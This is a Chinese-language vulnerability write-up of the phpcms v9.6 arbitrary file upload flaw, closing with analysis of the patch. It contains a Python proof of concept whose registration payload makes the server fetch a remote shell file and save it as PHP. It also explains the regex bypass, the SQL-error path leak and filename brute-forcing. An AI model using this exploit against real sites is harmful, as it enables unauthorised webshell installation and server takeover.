Author: p0wd3r (知道創宇404安全實驗室)
Date: 2017-04-12

0x00 漏洞概述

漏洞簡介

前幾天 phpcms v9.6 的任意文件上傳的漏洞引起了安全圈熱議,通過該漏洞攻擊者可以在未授權的情況下任意文件上傳,影響不容小覷。phpcms官方今天發布了9.6.1版本,對漏洞進行了補丁修復.

漏洞影響

任意文件上傳

0x01 漏洞復現

本文從 PoC 的角度出發,逆向的還原漏洞過程,若有哪些錯誤的地方,還望大家多多指教。

首先我們看簡化的 PoC :

import re
import requests


def poc(url):
    u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
    data = {
        'siteid': '1',
        'modelid': '1',
        'username': 'test',
        'password': 'testxx',
        'email': 'test@test.com',
        'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
        'dosubmit': '1',
    }
    rep = requests.post(u, data=data)

    shell = ''
    re_result = re.findall(r'&lt;img src=(.*)&gt', rep.content)
    if len(re_result):
        shell = re_result[0]
        print shell

可以看到 PoC 是發起注冊請求,對應的是phpcms/modules/member/index.php中的register函數,所以我們在那里下斷點,接著使用 PoC 并開啟動態調試,在獲取一些信息之后,函數走到了如下位置:

/register_func.png

通過 PoC 不難看出我們的 payload 在$_POST['info']里,而這里對$_POST['info']進行了處理,所以我們有必要跟進。

在使用new_html_special_chars<>進行編碼之后,進入$member_input->get函數,該函數位于caches/caches_model/caches_data/member_input.class.php中,接下來函數走到如下位置:

/get_func.png

由于我們的 payload 是info[content],所以調用的是editor函數,同樣在這個文件中:

/editor_func.png

接下來函數執行$this->attachment->download函數進行下載,我們繼續跟進,在phpcms/libs/classes/attachment.class.php中:

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
    global $image_d;
    $this->att_db = pc_base::load_model('attachment_model');
    $upload_url = pc_base::load_config('system','upload_url');
    $this->field = $field;
    $dir = date('Y/md/');
    $uploadpath = $upload_url.$dir;
    $uploaddir = $this->upload_root.$dir;
    $string = new_stripslashes($value);
    if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
    $remotefileurls = array();
    foreach($matches[3] as $matche)
    {
        if(strpos($matche, '://') === false) continue;
        dir_create($uploaddir);
        $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
    }
    unset($matches, $string);
    $remotefileurls = array_unique($remotefileurls);
    $oldpath = $newpath = array();
    foreach($remotefileurls as $k=>$file) {
        if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
        $filename = fileext($file);
        $file_name = basename($file);
        $filename = $this->getname($filename);

        $newfile = $uploaddir.$filename;
        $upload_func = $this->upload_func;
        if($upload_func($file, $newfile)) {
            $oldpath[] = $k;
            $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
            @chmod($newfile, 0777);
            $fileext = fileext($filename);
            if($watermark){
                watermark($newfile, $newfile,$this->siteid);
            }
            $filepath = $dir.$filename;
            $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
            $aid = $this->add($downloadedfile);
            $this->downloadedfiles[$aid] = $filepath;
        }
    }
    return str_replace($oldpath, $newpath, $value);
}

函數中先對$value中的引號進行了轉義,然后使用正則匹配:

$ext = 'gif|jpg|jpeg|bmp|png';
...
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;

這里正則要求輸入滿足src/href=url.(gif|jpg|jpeg|bmp|png),我們的 payload (<img src=http://url/shell.txt?.php#.jpg>)符合這一格式(這也就是為什么后面要加.jpg的原因)。

接下來程序使用這行代碼來去除 url 中的錨點:$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);,處理過后$remotefileurls的內容如下:

/remotefileurls.png

可以看到#.jpg被刪除了,正因如此,下面的$filename = fileext($file);取的的后綴變成了php,這也就是 PoC 中為什么要加#的原因:把前面為了滿足正則而構造的.jpg過濾掉,使程序獲得我們真正想要的php文件后綴。

我們繼續執行:

/copy_func.png

程序調用copy函數,對遠程的文件進行了下載,此時我們從命令行中可以看到文件已經寫入了:

/shell.png

shell 已經寫入,下面我們就來看看如何獲取 shell 的路徑,程序在下載之后回到了register函數中:

/status.png

可以看到當$status > 0時會執行 SQL 語句進行 INSERT 操作,具體執行的語句如下:

/sql.png

也就是向v9_member_detailcontentuserid兩列插入數據,我們看一下該表的結構:

/desc.png

因為表中并沒有content列,所以產生報錯,從而將插入數據中的 shell 路徑返回給了我們:

/error_path.png

上面我們說過返回路徑是在$status > 0時才可以,下面我們來看看什么時候$status <= 0,在phpcms/modules/member/classes/client.class.php中:

/status_code.png

幾個小于0的狀態碼都是因為用戶名和郵箱,所以在 payload 中用戶名和郵箱要盡量隨機。

另外在 phpsso 沒有配置好的時候$status的值為空,也同樣不能得到路徑。

在無法得到路徑的情況下我們只能爆破了,爆破可以根據文件名生成的方法來爆破:

/getname.png

僅僅是時間加上三位隨機數,爆破起來還是相對容易些的。

0x02 補丁分析

phpcms 今天發布了9.6.1版本,針對該漏洞的具體補丁如下:

/patch.png

在獲取文件擴展名后再對擴展名進行檢測

0x03 參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/273/